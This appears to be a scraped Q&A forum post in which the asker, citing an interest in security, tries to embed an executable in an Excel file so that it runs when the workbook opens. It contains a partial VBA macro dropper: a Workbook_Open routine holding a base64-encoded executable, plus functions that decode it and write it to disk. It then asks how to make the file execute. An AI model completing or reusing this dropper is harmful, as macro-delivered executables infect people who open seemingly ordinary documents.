excel - how to embed .exe to .xls -


i interested in cyber security , learning how loopholes , backdoor works, trying embed .exe file .xls file, execute opening .xls file.

i convert .exe base64 python script,

then create macro notepad++,

add 2 require functions

the function decodebase64(base64) takes base64 encoded string , converts binary.

the “writebytes(file, bytes)” function takes binary output , writes file.

now problem that:

how call these 2 functions?

i know python, not familiar visual basic, here macro:

private sub workbook_open()  dim var1 var1 = "tvqqaamaaaaeaaaa//8aalgaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" var1 = var1 & "aaaa6aaaaa4fug4atannibgbtm0hvghpcybwcm9ncmftignhbm5vdcbizsbydw4gaw4gre9tig1v" var1 = var1 & "zguudq0kjaaaaaaaaadmaqwpoghieqiiynqicgj6zx7jepiiynrnfvx6tahies1+yhrccgj6oghj" ... ... ...  end sub    private function decodebase64(base64)   dim dm, el   set dm = createobject("microsoft.xmldom")   ' create temporary node base64 data type   set el = dm.createelement("tmp")   el.datatype = "bin.base64"   ' set encoded string, bytes   el.text = base64   decodebase64 = el.nodetypedvalue end function  private sub writebytes(file, bytes)   dim binarystream   set binarystream = createobject("adodb.stream")   binarystream.type = typebinary   'open stream , write binary data   binarystream.open   binarystream.write bytes   'save binary data disk   binarystream.savetofile file, forwriting end sub

is going in right direction, how call these 2 functions execute .exe opening .xls.


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